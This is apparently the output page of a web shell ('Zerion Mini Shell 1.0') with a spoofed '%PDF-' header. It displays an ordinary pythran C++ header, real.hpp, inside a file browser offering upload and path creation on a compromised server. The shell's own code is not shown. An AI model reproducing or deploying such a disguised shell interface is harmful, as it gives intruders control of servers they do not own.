%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/pythran/pythonic/numpy/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/pythran/pythonic/numpy/real.hpp

#ifndef PYTHONIC_NUMPY_REAL_HPP
#define PYTHONIC_NUMPY_REAL_HPP

#include "pythonic/include/numpy/real.hpp"

#include "pythonic/utils/functor.hpp"
#include "pythonic/numpy/asarray.hpp"
#include "pythonic/types/ndarray.hpp"
#include "pythonic/types/list.hpp"

PYTHONIC_NS_BEGIN

namespace numpy
{
  template <class E>
  auto real(E &&expr)
      -> decltype(builtins::getattr(types::attr::REAL{}, std::forward<E>(expr)))
  {
    return builtins::getattr(types::attr::REAL{}, std::forward<E>(expr));
  }

  template <class T>
  auto real(types::list<T> const &expr)
      -> decltype(real(numpy::functor::asarray{}(expr)))
  {
    return real(numpy::functor::asarray{}(expr));
  }
}
PYTHONIC_NS_END

#endif

Zerion Mini Shell 1.0